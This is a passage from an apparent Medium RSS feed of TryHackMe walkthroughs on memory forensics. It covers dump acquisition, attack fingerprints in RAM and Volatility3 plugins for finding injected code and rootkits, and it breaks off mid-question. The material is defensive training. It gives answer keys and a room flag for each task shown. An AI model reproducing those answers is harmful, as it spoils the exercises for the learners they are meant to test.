shared nature of the hardware resources.</p><p>The recommended way to acquire memory dumps from a VM hosted on a cloud platform is to follow the steps specific to each OS that we discussed in tasks three and four.</p><p>There is, however, an alternate method that is used in some scenarios. This method involves the following steps:</p><ul><li>Configure a full memory crash dump on the host</li><li>Trigger a manual crash via the cloud platform</li><li>Detach the disk where the crash dump was saved</li><li>Connect the disk as a read-only data disk to an analysis VM hosted within the same, or different tenant.</li><li>Extra step: Export the disk so it can be used in a different tenant</li></ul><p><strong>Special Mention for Azure</strong></p><p>Microsoft released a tool named Acquire Volatile Memory for Linux (AVML) to make the process of acquiring volatile memory on VMs hosted on Azure. One of the main advantages of this tool is that it does not require any installation or kernel loading. It can just be run as a stand-alone binary. <strong>Note: The tool is only intended to acquire memory on Linux distributions.</strong></p><h3>Conclusion</h3><p>In this task you learned how to capture memory on a Windows host, a Linux host, a VM hosted on a hypervisor,and a VM hosted on a hypervisor or cloud platform. You noted multiple ways to get a memory dump, either via the GUI or a command-line utility. Last, you observed was that cloud platforms don’t offer any built-in tools to take a memory dump without interacting with the VM.</p><p>Taking a memory dump isn’t exactly rocket science, but there are some things mentioned in the previous tasks to take into account:</p><ul><li>Timing</li><li>Make sure you have administrator rights on the target host</li><li>Use a tool that fits your needs</li><li>Define a proper naming convention for the memory dumps</li><li>Ensure integrity by hashing</li><li>Take note of the filename and its hash so you can refer to it later</li><li>Ensure all the above are part of your process outline in the IR playbook</li></ul><p>Q1:What is the name of the command line utility you use to take a memory dump on the VirtualBox hypervisor? Use the format filename.extension for answering.</p><pre>vboxmanage.exe</pre><p>Q2:Which command do you use to create a snapshot in Hyper-V?</p><pre>CheckPoint-VM</pre><h3>Task 6: Challenges with Memory Acquisition</h3><p>Memory acquisition does come with some challenges. Take the following difficulties into account before starting the process of memory acquisition:</p><ul><li><strong>Anti-forensic techniques</strong>: An attacker can employ anti-forensic techniques to impede proper memory acquisition. E.g., encrypting memory content, interfering with acquisition tools, and more</li><li><strong>Timing</strong>: It is essential to get the timing right when acquiring memory. As mentioned in task two, memory is volatile, and its content is continuously changing. Keep an eye on the Indicators of Attack and Compromise to choose the right timing</li><li><strong>(Physical) Accessibility</strong>: To do a memory capture, you need to have access to the system, locally or remotely. Sometimes, servers are in data centers that are not accessible without proper verification. Ensure that the correct people have the correct access rights</li><li><strong>No admin rights</strong>: To do a full memory capture, you must have administrator rights. This can be on the host level, domain level, or resource group in the cloud platform</li><li><strong>Lack of an Information Security Management System (ISMS)</strong>: Before even thinking of forensics, you must have a proper ISMS in place. An important part of an ISMS that lists essential information required for memory acquisition is <strong>Asset Management</strong>. It helps you know each asset’s:</li></ul><p>a Details (Hostname, IP, OS, users, physical location)</p><p>b Criticality</p><p>c Operating hours</p><p>d Baseline configuration</p><p>e Baseline behavior</p><p>f And more</p><ul><li><strong>No transparent incident response process</strong>: Failing to take all of the topics in task two into account will impede you in doing proper memory acquisition. Ensure to include the memory acquisition process in your incident response plan</li></ul><p>Q1:What process describes keeping track of all hosts and their information?</p><pre>Asset Management</pre><p>Q2:A threat actor shuts down the target system after successfully exfiltrating data. What term can we use to categorize this action?</p><pre>Anti-forensic techniques</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=05fdc551fc8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Analysis Introduction — TryHackMe]]></title>
            <link>https://medium.com/@notfo/memory-analysis-introduction-tryhackme-7d6a816b8511?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d6a816b8511</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 17:15:39 GMT</pubDate>
            <atom:updated>2025-07-27T17:15:39.786Z</atom:updated>
            <content:encoded><![CDATA[<h3>Memory Analysis Introduction — TryHackMe</h3><h3>Task 1: Introduction</h3><p>In this room, we will explore how memory analysis supports cyber security investigations, especially from a blue team perspective. We’ll learn how data in RAM can reveal active threats, user activity, and artifacts that are lost after shutdown.</p><p>We’ll start with the basics of volatile memory and how it compares to disk forensics. Then, we’ll look at how memory dumps are created and used, what signs of attacks can appear in memory, and when this type of analysis is most useful.</p><p>Later in the room, an interactive section will help us visualize memory structure and forensic evidence. By the end, we’ll understand how and when to apply memory analysis during real-world investigations.</p><p><strong>Learning Objectives</strong></p><ul><li>Understand the role and importance of memory analysis in cyber security investigations.</li><li>Identify the structure and behavior of volatile memory, including memory hierarchy and RAM layout.</li><li>Explain what memory dumps are, how they are created, and the challenges in acquiring them.</li><li>Recognize common attack fingerprints in memory based on real-world techniques.</li></ul><p><strong>Prerequisites</strong></p><ul><li><a href="https://tryhackme.com/room/introductoryroomdfirmodule">DFIR Introduction</a></li><li><a href="https://tryhackme.com/room/windowsinternals">Windows Internals</a></li><li><a href="https://tryhackme.com/module/linux-fundamentals">Linux Fundamentals</a></li></ul><p>No answer needed</p><h3>Task 2: Volatile Memory</h3><p><strong>Volatile Memory</strong></p><p>In this room, we begin by understanding volatile memory and why it plays a key role during investigations or, in general, in Digital Forensics. Volatile memory refers to stored data that holds system and user-level data while the computer runs. When the system is powered off or restarted, this data is lost. A common spot for this type of memory is the RAM (Random Access Memory)<br>RAM temporarily stores everything from open files and running processes to encrypted data. Since this data only exists while the system is active, investigators often prioritize capturing RAM as early as possible during an investigation.</p><p><strong>Memory Hierarchy</strong></p><p>Computers store and access information using a hierarchy of memory, each level offering a trade-off between speed and capacity. Starting from the fastest to the slowest, the order is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/0*_f4pNgXDxJBcMJVy.png" /></figure><p>CPU registers and cache are extremely fast but limited in size. RAM is the main working memory for the operating system and active programs. Disk storage, while much slower, is used for long-term data retention.</p><p>The concept of Virtual Memory, on the other hand, is a virtual memory space. When a program runs, the operating system assigns it virtual memory addresses that are mapped to physical RAM or, if needed, to disk-based swap space. <strong>Swap </strong>is a reserved area on the disk that the operating system uses to store data from RAM when physical memory is full temporarily. This allows the system to handle more active processes than RAM alone can support. This allows processes to run as if they have dedicated memory while the system manages where the actual data resides. The OS continuously shifts data between RAM and disk depending on system load and priority.</p><p>The above impacts memory analysis because some forensic artifacts may reside in RAM while others may be temporarily stored in swap files.</p><p><strong>RAM Structure</strong></p><p>RAM is usually the memory on which investigations will focus. It is divided into two broad areas: <strong>kernel space </strong>and <strong>user space </strong>.</p><ul><li><strong>Kernel space </strong>is reserved for the operating system and low-level services. It manages resources like device drivers and memory access.</li><li><strong>User space </strong>contains processes launched by the user or applications. Each process gets its own separate space, protected from others.</li></ul><p>Within a user process, memory is typically structured into several regions:</p><ul><li><strong>Stack </strong>: Stores temporary data like function arguments and return addresses. It grows and shrinks as functions are called and returned.</li><li><strong>Heap </strong>: Used for dynamic memory allocation during runtime, such as objects and buffers created by programs.</li><li><strong>Executable </strong>(.text): Stores the actual code or instructions the CPU runs.</li><li><strong>Data sections: </strong>Space to store global variables and other data the executable needs.</li></ul><p>Understanding this structure is important in identifying where forensic artifacts might be located. For instance, encryption keys are often found on the heap, while shell commands may be on the stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y_3LoCiUu67sF_xs.png" /></figure><p><strong>RAM for Forensic Analysts</strong></p><p>The analysis of RAM offers a snapshot of what a system is doing at a particular moment. This includes:</p><ul><li>Running processes and loaded executables</li><li>Open network connections and ports</li><li>Logged-in users and recent commands</li><li>Decrypted content, including encryption keys</li><li>Injected code or fileless malware</li></ul><p>Since all this information disappears once the system is turned off, memory analysis provides a unique chance to observe the system in action. It often reveals evidence not available in disk forensics, especially for attacks that do not write files to disk.</p><p>This makes memory a priority target during incident response, particularly when dealing with live systems, malware investigations, or suspected intrusions.</p><p>Memory forensics is often used early in an investigation to capture data that disappears on shutdown. It helps responders collect active processes, network connections, and other live artifacts before losing them.</p><p>It is very useful when dealing with in-memory threats, fileless malware, or credential theft. Memory analysis provides a snapshot of system activity that can help during an investigation.</p><p>Q1:What type of memory is prioritized because its data disappears after shutdown?</p><pre>RAM</pre><p>Q2:What is the slowest component in the memory hierarchy?</p><pre>disk</pre><p>Q3:Which memory region typically contains dynamically allocated data like encryption keys?</p><pre>heap</pre><p>Q4:What disk-based area temporarily stores RAM data when memory is full?</p><pre>swap</pre><h3>Task 3: Memory Dumps</h3><p>In this task, we explore what a memory dump is and how it fits into forensic workflows. A memory dump is a snapshot of a system’s RAM at a specific point in time. It captures everything stored in volatile memory, including running processes, active sessions, network activity, and sometimes even sensitive data like credentials.</p><p>Memory dumps are widely used for forensic analysis, malware investigations, and threat hunting. Security teams analyze these snapshots to understand what was running on a system and to uncover suspicious or unauthorized activity. Tools like Mimikatz are often used by red teamers and attackers to extract credentials directly from memory, making memory dumps an important defensive focus.</p><p><strong>How Memory Dumps are Created</strong></p><p>Creating a memory dump depends on the operating system in use. The goal is to capture RAM content without significantly altering it during acquisition.</p><p>On Windows, tools like built-in crash dumps, Sysinternals’ RAMMap, or third-party utilities such as WinPmem and FTK Imager can be used to generate full or selective memory captures. Some methods include kernel mode dumps located at %SystemRoot%\MEMORY.DMP and hibernation files stored as %SystemDrive%\hiberfil.sys. We can find more about it in the <a href="https://tryhackme.com/room/analysingvolatilememory">Analysing Volatile Memory</a> room.</p><p>On Linux and macOS, analysts can use tools like LiME (Linux Memory Extractor) or dd with access to /dev/mem or /proc/kcore, depending on kernel protections. These methods will be covered in more detail later in the room.</p><p><strong>Types of Memory Dumps</strong></p><p>Memory dumps vary in scope and purpose:</p><ul><li>Full Memory Dump: Captures all RAM, including user and kernel space. Useful for complete forensic investigations and malware analysis.</li><li>Process Dump: Captures the memory of a single running process. Helpful for reverse engineering or isolating malicious behavior within a specific application.</li><li>Pagefile and Swap Analysis: Systems offload some memory content to disk when RAM is full. On Windows, this is stored in pagefile.sys, and on Linux, in the swap partition or swapfile. These can contain fragments of data that were once in RAM, offering additional context.</li></ul><p>In some cases, the system’s hibernation file (hiberfil.sys) can also be parsed to extract RAM contents saved when the machine enters hibernation mode. More information can be found in <a href="https://diverto.github.io/2019/11/05/Extracting-Passwords-from-hiberfil-and-memdumps">this article</a>.</p><p><strong>Challenges in Memory Acquisition</strong></p><p>Acquiring a clean and reliable memory dump comes with several challenges. Attackers may deploy anti-forensics techniques to tamper with memory capture tools or hide their presence in RAM. Common examples include:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5NuzNcxWgw8rlU4MavBKQ.png" /></figure><p>These methods require analysts to go beyond default tools and use memory carving, kernel-level inspection, and behavior-based techniques to uncover hidden activity.</p><p>Encryption and obfuscation techniques are also used to make memory content harder to interpret. Encrypted payloads or compressed code blocks may be stored in memory and only decrypted at runtime, which adds complexity to the analysis.</p><p>Q1:What tool is commonly used by attackers to extract credentials from memory?</p><pre>Mimikatz </pre><p>Q2:What type of memory dump captures all RAM, including user and kernel space?</p><pre>full</pre><p>Q3:What Linux tool can be used to extract memory for forensic purposes?</p><pre>lime</pre><p>Q4:Which file on Windows systems stores memory during hibernation?</p><pre>hiberfil.sys</pre><p>Q5:What anti-forensics technique hides processes by altering kernel structures?</p><pre>DKOM </pre><h3>Task 4: Memory Analysis Attack Fingerprints</h3><h3>Memory-Based Threat Indicators</h3><p>Memory analysis is especially powerful for detecting threats that may not leave traces on disk. While logs and file systems offer long-term evidence, memory reveals what is happening right now, making it essential for identifying active or recently executed attacks.</p><p>The most common artifacts that analysts look for in memory include:</p><ul><li>Suspicious or malicious processes that are running without a corresponding file on disk.</li><li>DLL injection where malicious code is injected into the memory space of a legitimate process.</li><li>Process hollowing, a technique where the memory of a trusted process is replaced with malicious code.</li><li>API hooking, used to intercept or alter normal function calls to hide activity or manipulate system behavior.</li><li>Rootkits, especially those operating in kernel space, which manipulate memory structures to hide files, processes, or network connections.</li></ul><p>These techniques often leave specific memory signatures — such as unusual memory regions, non-matching PE headers, or code execution in writable memory areas — which can be detected with forensic tools.</p><p>Next, we will learn about the most common attacks that can be detected while performing a memory analysis.</p><h3>Credential Access (MITRE ATT&amp;CK: T1003)</h3><p><strong>T1071 — Application Layer Protocol: Command and Control</strong><br>Modern malware often communicates with external servers without dropping files. This fileless malware uses memory-resident payloads to fetch commands or exfiltrate data through standard protocols like HTTP, HTTPS, or DNS. In memory, analysts can find decrypted C2 configurations, IP addresses, or beacons that are not logged anywhere else to try to find artifacts.</p><h3>In-Memory Script Execution (T1086)</h3><p><strong>T1086 — PowerShell</strong><br>Scripts executed directly from memory are harder to trace because they don’t touch the disk. Attackers use PowerShell or other interpreters (e.g., Python, WMI) to execute code in RAM. Memory analysis may reveal full script contents, encoded commands, or runtime artifacts in the PowerShell process memory.</p><h3>Persistence Techniques in Memory</h3><p>These persistence mechanisms can be identified by spotting related artifacts during a live memory analysis:</p><p><strong>T1053.005 — Scheduled Task/Job: Scheduled Task</strong><br>Task Scheduler creates jobs that execute at intervals or startup. During a memory analysis, we can look for processes like schtasks.exe and memory strings that contain task names or malicious payload paths.</p><p><strong>T1543.003 — Create or Modify System Process: Windows Service</strong><br>Malicious services may run in the background under services.exe. We may find unusual service names, binaries, or configurations in memory that can relate to this technique.</p><p><strong>T1547.001 — Registry Run Keys / Startup Folder</strong><br>Malware adds entries to HKCU\Software\Microsoft\Windows\CurrentVersion\Run to execute on boot. These values can often be recovered from memory or found within registry hives cached in RAM.</p><h3>Lateral Movement via Memory Artifacts</h3><p>Memory forensics can also expose attempts at lateral movement across systems. Common techniques include:</p><p><strong>T1021.002 — Remote Services: SMB/Windows Admin Shares (PsExec)</strong><br>PsExec enables command execution on remote systems. Analysts might find PsExec-related services or command-line arguments in memory indicating lateral movement.</p><p><strong>T1021.006 — Remote Services: Windows Remote Management (WinRM)</strong><br>WinRM provides PowerShell remoting. Look for wsmprovhost.exe and memory references to remote session initialization.</p><p><strong>T1059.001 — Command and Scripting Interpreter: PowerShell (Remote)</strong><br>PowerShell is commonly used for remote command execution. Analysts can detect base64-encoded or obfuscated commands within memory of the PowerShell process.</p><p><strong>T1047 — Windows Management Instrumentation (WMI)</strong><br>WMI commands like wmic process call create may be used to spawn remote processes. Associated command strings or class references may be cached in memory.</p><p>Q1:What technique involves replacing a trusted process’s memory with malicious code?</p><pre>Process hollowing</pre><p>Q2:Which Windows service provides PowerShell remoting?</p><pre>WinRM</pre><p>Q3:What MITRE technique ID is associated with in-memory PowerShell execution?</p><pre>T1086</pre><p>Q4:What command-line tool enables remote execution and is linked to lateral movement (T1021.002)?</p><pre>PsExec</pre><p>Q5:Which MITRE technique involves setting tasks that persist through reboots (e.g., schtasks.exe)?</p><pre>T1053.005</pre><h3>Task 5: Practical</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7FHhiuX4XJtmVHOeQpznMw.png" /></figure><p>What is the value of the flag?</p><pre>THM{m3mory_analyst_g00d_job}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d6a816b8511" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Volatility — TryHackMe]]></title>
            <link>https://medium.com/@notfo/volatility-tryhackme-80fe5de0d265?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/80fe5de0d265</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 12:44:50 GMT</pubDate>
            <atom:updated>2025-07-27T12:44:50.513Z</atom:updated>
            <content:encoded><![CDATA[<h3>Volatility — TryHackMe</h3><h3>Task 1:Introduction</h3><p>Volatility is a free memory forensics tool developed and maintained by Volatility Foundation, commonly used by malware and SOC analysts within a blue team or as part of their detection and monitoring solutions. Volatility is written in Python and is made up of python plugins and modules designed as a plug-and-play way of analyzing memory dumps.</p><p>Volatility is available for Windows, Linux, and Mac OS and is written purely in Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s1KlZ6M49sii6HMa.png" /></figure><p>This room uses memory dumps from THM rooms and memory samples from Volatility Foundation.</p><p>Before completing this room, we recommend completing the <a href="https://tryhackme.com/room/btwindowsinternals">Core Windows Processes</a> room.</p><p>No answer needed</p><h3>Task 2: Volatility Overview</h3><p>From the Volatility Foundation Wiki, “Volatility is the world’s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer visibility into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*S-O5RkJETjwqyJ_V" /></figure><p>Volatility is built off of multiple plugins working together to obtain information from the memory dump. To begin analyzing a dump, you will first need to identify the image type; there are multiple ways of identifying this information that we will cover further in later tasks. Once you have your image type and other plugins sorted, you can then begin analyzing the dump by using various volatility plugins against it that will be covered in depth later in this room.</p><p>Since Volatility is entirely independent of the system under investigation, this allows complete segmentation but full insight into the runtime state of the system.</p><p>At the time of writing, there are two main repositories for Volatility; one built off of python 2 and another built off python 3. For this room, we recommend using the Volatility3 version build off of python 3. <a href="https://github.com/volatilityfoundation/volatility3">https://github.com/volatilityfoundation/volatility3</a></p><p>Note: When reading blog posts and articles about Volatility, you may see volatility2 syntax mentioned or used, all syntax changed in volatility3, and within this room, we will be using the most recent version of the plugin syntax for Volatility.</p><p>No answer needed</p><h3>Task 3: Installing Volatility</h3><p>Since Volatility is written purely in Python, it makes the installation steps and requirements very easy and universal for Windows, Linux, and Mac. If you already attempted to use Python on Windows and Mac, it is suggested to begin on Linux; however, all operating systems will work the same.</p><p>If you’re using TryHackMe’s AttackBox, Volatility is already present on the box, and you can skip these steps and move on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*X6Q-X1fZ2yKesEzK8k_P5w.png" /></figure><p>When downloading, you can make a choice to use the pre-packaged executable (.whl file) that will work the same and requires no dependencies (Windows Only), or you can decide to run it directly from Python.</p><p>To obtain a pre-packaged executable, simply download a zip file containing the application from their releases page. <a href="https://github.com/volatilityfoundation/volatility3/releases/tag/v1.0.1">https://github.com/volatilityfoundation/volatility3/releases/tag/v1.0.1</a></p><p>To begin running the project from source, you will need to first download the following dependencies: Python 3.5.3 or later and Pefile 2017.8.1 or later. <a href="https://pypi.org/project/pefile/">https://pypi.org/project/pefile/</a></p><p>You can also download these optional dependencies (recommended for this room): yara-python 3.8.0 or later <a href="https://github.com/VirusTotal/yara-python">https://github.com/VirusTotal/yara-python</a> and capstone 3.0.0 or later <a href="https://www.capstone-engine.org/download.html">https://www.capstone-engine.org/download.html</a>.</p><p>Once you have your dependencies sorted, you can clone the repository from GitHub.</p><p>Command used: git clone <a href="https://github.com/volatilityfoundation/volatility3.git">https://github.com/volatilityfoundation/volatility3.git</a></p><p>You now have Volatility installed!</p><p>To test your installation run the vol.py file with the help parameter.</p><p>Command used: python3 vol.py -h</p><p>It is important to note that for any Linux or Mac memory files, you will need to download the symbol files from the Volatility GitHub. <a href="https://github.com/volatilityfoundation/volatility3#symbol-tables">https://github.com/volatilityfoundation/volatility3#symbol-tables</a></p><p>No answer needed</p><h3>Task 4: Memory Extraction</h3><p>Extracting a memory dump can be performed in numerous ways, varying based on the requirements of your investigation. Listed below are a few of the techniques and tools that can be used to extract a memory from a bare-metal machine.</p><ul><li>FTK Imager</li><li>Redline</li><li>DumpIt.exe</li><li>win32dd.exe / win64dd.exe</li><li>Memoryze</li><li>FastDump</li></ul><p>When using an extraction tool on a bare-metal host, it can usually take a considerable amount of time; take this into consideration during your investigation if time is a constraint.</p><p>Most of the tools mentioned above for memory extraction will output a .raw file with some exceptions like Redline that can use its own agent and session structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DbCaqxpBTKeZZ0Ih.png" /></figure><p>For virtual machines, gathering a memory file can easily be done by collecting the virtual memory file from the host machine’s drive. This file can change depending on the hypervisor used; listed below are a few of the hypervisor virtual memory files you may encounter.</p><ul><li>VMWare — .vmem</li><li>Hyper-V — .bin</li><li>Parallels — .mem</li><li>VirtualBox — .sav file *<em>this is only a partial memory file</em></li></ul><p>Exercise caution whenever attempting to extract or move memory from both bare-metal and virtual machines.</p><p>No answer needed</p><h3>Task 5: Plugins Overview</h3><p>Since converting to Python 3, the plugin structure for Volatility has changed quite drastically. In previous Volatility versions, you would need to identify a specific OS profile exact to the operating system and build version of the host, which could be hard to find or used with a plugin that could provide false positives. With Volatility3, profiles have been scrapped, and Volatility will automatically identify the host and build of the memory file.</p><p>The naming structure of plugins has also changed. In previous versions of Volatility, the naming convention has been simply the name of the plugin and was universal for all operating systems and profiles. Now with Volatility3, you need to specify the operating system prior to specifying the plugin to be used, for example, windows.info vs linux.info. This is because there are no longer profiles to distinguish between various operating systems for plugins as each operating system has drastically different memory structures and operations. Look below for options of operating system plugin syntax.</p><ul><li>.windows</li><li>.linux</li><li>.mac</li></ul><p>There are several plugins available with Volatility as well as third-party plugins; we will only be covering a small portion of the plugins that Volatility has to offer.</p><p>To get familiar with the plugins available, utilize the help menu. As Volatility3 is currently in active development, there is still a short list of plugins compared to its python 2 counterpart; however, the current list still allows you to do all of your analysis as needed.</p><p>No answer needed</p><h3>Task 6: Identifying Image Info and Profiles</h3><p>By default, Volatility comes with all existing Windows profiles from Windows XP to Windows 10.</p><p>Image profiles can be hard to determine if you don’t know exactly what version and build the machine you extracted a memory dump from was. In some cases, you may be given a memory file with no other context, and it is up to you to figure out where to go from there. In that case, Volatility has your back and comes with the imageinfo plugin. This plugin will take the provided memory dump and assign it a list of the best possible OS profiles. OS profiles have since been deprecated with Volatility3, so we will only need to worry about identifying the profile if using Volatility2; this makes life much easier for analyzing memory dumps.</p><p>Note: imageinfo is not always correct and can have varied results depending on the provided dump; use with caution and test multiple profiles from the provided list.</p><p>If we are still looking to get information about what the host is running from the memory dump, we can use the following three plugins windows.info linux.info mac.info. This plugin will provide information about the host from the memory dump.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.info</p><p>No answer needed</p><h3>Task 7: Listing Processes and Connections</h3><p>Five different plugins within Volatility allow you to dump processes and network connections, each with varying techniques used. In this task, we will be discussing each and its pros and cons when it comes to evasion techniques used by adversaries.</p><p>The most basic way of listing processes is using pslist; this plugin will get the list of processes from the doubly-linked list that keeps track of processes in memory, equivalent to the process list in task manager. The output from this plugin will include all current processes and terminated processes with their exit times.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.pslist</p><p>Some malware, typically rootkits, will, in an attempt to hide their processes, unlink itself from the list. By unlinking themselves from the list you will no longer see their processes when using pslist. To combat this evasion technique, we can use psscan;this technique of listing processes will locate processes by finding data structures that match _EPROCESS. While this technique can help with evasion countermeasures, it can also cause false positives.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.psscan</p><p>The third process plugin, pstree, does not offer any other kind of special techniques to help identify evasion like the last two plugins; however, this plugin will list all processes based on their parent process ID, using the same methods as pslist. This can be useful for an analyst to get a full story of the processes and what may have been occurring at the time of extraction.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.pstree</p><p>Now that we know how to identify processes, we also need to have a way to identify the network connections present at the time of extraction on the host machine. netstat will attempt to identify all memory structures with a network connection.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.netstat</p><p>This command in the current state of volatility3 can be very unstable, particularly around old Windows builds. To combat this, you can utilize other tools like bulk_extractor to extract a PCAP file from the memory file. In some cases, this is preferred in network connections that you cannot identify from Volatility alone. <a href="https://tools.kali.org/forensics/bulk-extractor">https://tools.kali.org/forensics/bulk-extractor</a></p><p>The last plugin we will cover is dlllist. This plugin will list all DLLs associated with processes at the time of extraction. This can be especially useful once you have done further analysis and can filter output to a specific DLL that might be an indicator for a specific type of malware you believe to be present on the system.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.dlllist</p><p>No answer needed</p><h3>Task 8: Volatility Hunting and Detection Capabilities</h3><p>Volatility offers a plethora of plugins that can be used to aid in your hunting and detection capabilities when hunting for malware or other anomalies within a system’s memory.</p><p>It is recommended that you have a basic understanding of how evasion techniques and various malware techniques are employed by adversaries, as well as how to hunt and detect them before going through this section.</p><p>The first plugin we will be talking about that is one of the most useful when hunting for code injection is malfind. This plugin will attempt to identify injected processes and their PIDs along with the offset address and a Hex, Ascii, and Disassembly view of the infected area. The plugin works by scanning the heap and identifying processes that have the executable bit set RWE or RX and/or no memory-mapped file on disk (file-less malware).</p><p>Based on what malfind identifies, the injected area will change. An MZ header is an indicator of a Windows executable file. The injected area could also be directed towards shellcode which requires further analysis.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.malfind</p><p>Volatility also offers the capability to compare the memory file against YARA rules. yarascan will search for strings, patterns, and compound rules against a rule set. You can either use a YARA file as an argument or list rules within the command line.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.yarascan</p><p>There are other plugins that can be considered part of Volatility’s hunting and detection capabilities; however, we will be covering them in the next task.</p><p>No answer needed</p><h3>Task 9: Advanced Memory Forensics</h3><p>Advanced Memory Forensics can become confusing when you begin talking about system objects and how malware interacts directly with the system, especially if you do not have prior experience hunting some of the techniques used such as hooking and driver manipulation. When dealing with an advanced adversary, you may encounter malware, most of the time rootkits that will employ very nasty evasion measures that will require you as an analyst to dive into the drivers, mutexes, and hooked functions. A number of modules can help us in this journey to further uncover malware hiding within memory.</p><p>The first evasion technique we will be hunting is hooking; there are five methods of hooking employed by adversaries, outlined below:</p><ul><li>SSDT Hooks</li><li>IRP Hooks</li><li>IAT Hooks</li><li>EAT Hooks</li><li>Inline Hooks</li></ul><p>We will only be focusing on hunting SSDT hooking as this one of the most common techniques when dealing with malware evasion and the easiest plugin to use with the base volatility plugins.</p><p>The ssdt plugin will search for hooking and output its results. Hooking can be used by legitimate applications, so it is up to you as the analyst to identify what is evil. As a brief overview of what SSDT hooking is: SSDT stands for <em>System Service Descriptor Table;</em> the Windows kernel uses this table to look up system functions. An adversary can hook into this table and modify pointers to point to a location the rootkit controls.</p><p>There can be hundreds of table entries that ssdt will dump; you will then have to analyze the output further or compare against a baseline. A suggestion is to use this plugin after investigating the initial compromise and working off it as part of your lead investigation.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.ssdt</p><p>Adversaries will also use malicious driver files as part of their evasion. Volatility offers two plugins to list drivers.</p><p>The modules plugin will dump a list of loaded kernel modules; this can be useful in identifying active malware. However, if a malicious file is idly waiting or hidden, this plugin may miss it.</p><p>This plugin is best used once you have further investigated and found potential indicators to use as input for searching and filtering.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.modules</p><p>The driverscan plugin will scan for drivers present on the system at the time of extraction. This plugin can help to identify driver files in the kernel that the modules plugin might have missed or were hidden.</p><p>As with the last plugin, it is again recommended to have a prior investigation before moving on to this plugin. It is also recommended to look through the modules plugin before driverscan.</p><p>Syntax: python3 vol.py -f &lt;file&gt; windows.driverscan</p><p>In most cases, driverscan will come up with no output; however, if you do not find anything with the modules plugin, it can be useful to attempt using this plugin.</p><p>There are also other plugins listed below that can be helpful when attempting to hunt for advanced malware in memory.</p><ul><li>modscan</li><li>driverirp</li><li>callbacks</li><li>idt</li><li>apihooks</li><li>moddump</li><li>handles</li></ul><p>Note: Some of these are only present on Volatility2 or are part of third-party plugins. To get the most out of Volatility, you may need to move to some third-party or custom plugins.</p><p>No answer needed</p><h3>Task 10: Practical Investigations</h3><h3>Case 001 — BOB! THIS ISN’T A HORSE!</h3><p>Your SOC has informed you that they have gathered a memory dump from a quarantined endpoint thought to have been compromised by a banking trojan masquerading as an Adobe document. Your job is to use your knowledge of threat intelligence and reverse engineering to perform memory forensics on the infected host.</p><p>You have been informed of a suspicious IP in connection to the file that could be helpful. XX.XX.XX.XX</p><p>The memory file is located in /Scenarios/Investigations/Investigation-1.vmem</p><h3>Case 002 — That Kind of Hurt my Feelings</h3><p>You have been informed that your corporation has been hit with a chain of ransomware that has been hitting corporations internationally. Your team has already retrieved the decryption key and recovered from the attack. Still, your job is to perform post-incident analysis and identify what actors were at play and what occurred on your systems. You have been provided with a raw memory dump from your team to begin your analysis.</p><p>The memory file is located in /Scenarios/Investigations/Investigation-2.raw</p><p>Q1:What is the build version of the host machine in Case 001?</p><p>vol.py -f /Scenarios/Investigations/Investigation-1.vmem windows.info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9xEifnk9VPUCuC3bq_LWQ.png" /></figure><pre>2600.xpsp.080413-2111</pre><p>Q2:At what time was the memory file acquired in Case 001?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bqOSKgCSer-S2DzuWA3nw.png" /></figure><pre>2012-07-22 02:45:08</pre><p>Q3:What process can be considered suspicious in Case 001?</p><pre>python3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem windows.pstree</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mA1Ttd6XwbCueHYuA9NuUg.png" /></figure><p>reader_sl.exe is child process of explorer.exe</p><pre>reader_sl.exe</pre><p>Q4:What is the parent process of the suspicious process in Case 001?</p><pre>explorer.exe</pre><p>Q5:What is the PID of the suspicious process in Case 001?</p><pre>1640</pre><p>Q6:What is the parent process PID in Case 001?</p><pre>1484</pre><p>Q7:What user-agent was employed by the adversary 